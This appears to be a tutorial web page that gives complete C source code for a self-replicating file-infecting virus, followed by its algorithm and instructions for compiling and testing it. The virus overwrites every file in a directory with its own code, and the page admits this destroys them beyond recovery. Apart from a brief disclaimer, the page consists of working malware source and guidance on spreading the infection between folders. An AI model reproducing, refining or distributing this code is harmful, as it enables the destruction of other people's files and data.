This program is an example of how tocreate a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.
Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.
Here’s the source code of the virus program:
#include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*) while(!done) { virus=fopen(_argv[0],"rb"); host=fopen(ffblk.ff_name,"rb+"); if(host==NULL) goto next; x=89088; printf("Infecting %s\n",ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf("DONE! (Total Files Infected= %d)",a); end=clock(); printf("TIME TAKEN=%f SEC\n", (end-st)/CLK_TCK); getch(); }
This virus is designed to infect all types of files with any extension.
You can download the source code from the following link:
How the Virus Program Works?
The algorithm of this virus program is as follows:
Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).
Step-2: Load the copy of the virus itself onto the memory.
Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.
Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.
As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.
How to Compile the Program:
For a step-by-step guide, you can refer my detailed post on how to compile C programs?
How to Test the Virus After the Compilation:
- Create a new empty folder.
- Put some executable files (or any other files) in the folder.
- Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
- Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.
NOTE: The files infected by this virus are destroyed completely and cannot be recovered. So, always test the virus in a new folder by placing some sample files.
WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.